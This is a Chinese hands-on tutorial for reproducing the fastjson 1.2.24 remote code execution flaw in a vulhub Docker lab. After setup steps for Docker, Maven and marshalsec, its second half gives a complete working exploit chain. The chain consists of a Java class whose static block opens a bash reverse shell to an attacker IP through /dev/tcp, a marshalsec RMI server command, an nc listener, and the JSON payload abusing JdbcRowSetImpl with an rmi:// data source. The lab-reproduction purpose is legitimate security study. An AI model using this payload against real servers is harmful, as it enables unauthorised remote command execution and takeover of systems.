fastjson-1.2.24漏洞,搭建及复现,手把手图文教程
java1.8、python,我就不写这么安装了
文章目录
一、搭建文件数据(docker、vulhub、mvn、RMI)
1.安装docker和docker-compose
安装完成后查看版本是否正常输出,或者把报错的安装全部安装也行
参考链接:
kali 2020安装docker
命令 | 描述 |
---|---|
docker -v | 查看docker版本 |
docker-compose -v | 查看docker-compose版本 |
sudo apt install docker | 安装docker |
sudo apt install docker-compose | 安装docker-compose |
2.准备vulhub
创建个fastjson1.2.24命名的目录,文件名:docker-compose.yml,内容为以下
这样就可以省略git vulhub的步骤,我试了一下是可以的
version: '2'
services:
web:
image: vulhub/fastjson:1.2.24
ports:
- "8090:8090"
或者你想全部git就执行下面代码
sudo git clone https://github.com/vulhub/vulhub.git
3.安装mvn命令
先从官网下载maven安装包
下载官网:Maven–下载Apache Maven
下载后解压到/opt
然后配置环境变量,打开/etc/profile文件,在末尾添加命令
export M2_HOME=/opt/apache-maven-3.6.3
export PATH=$PATH:$M2_HOME/bin
添加完后使环境生效
source /etc/profile
检查mvn是否安装正常
mvn -v
4.安装RMI服务器
编译marshalsec项目,启动RMI服务,监听端口并加载远程类
git clone https://github.com/mbechler/marshalsec.git
进入到marshalsec文件夹输入命令进行编译
mvn clean package -DskipTests
5.启动fastjson
cd 到步骤2目录,fastjson目录
使用docker-compose启动fastjson漏洞环境
docker-compose up -d
使用docke查看搭建情况及映射端口
docker ps
访问ip:端口,端口在docker ps里面,8090是端口,成功访问,搭建成功了
二、利用fastjson1.2.24
1.编写exp.java,反弹shell
exp.java
import java.lang.Runtime;
import java.lang.Process;
public class exp{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/攻击者ip/攻击者nc监听端口 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
2.编译exp.java,编译为exp.class
exp.java
javac exp.java
3.python开启web服务器
python2
python -m SimpleHTTPServer
python3
python -m http.server
4.开启RMI服务器
cd到marshalsec/target目录下,marshalsec是安装RMI的那个目录,target是编译后的目录
RMI端口自己自定义
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击者ip:攻击者python开启的端口/#exp" 攻击者RMI端口
5.开启nc监听
nc监听端口要和exp.java里面的一致
nc -lvnp 攻击者nc监听端口
6.发送fastjson给服务器就可以
nc监听端口要和exp.java里面的一致
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://攻击者ip:攻击者RMI服务器端口/exp",
"autoCommit":true
}
}
复现利用成功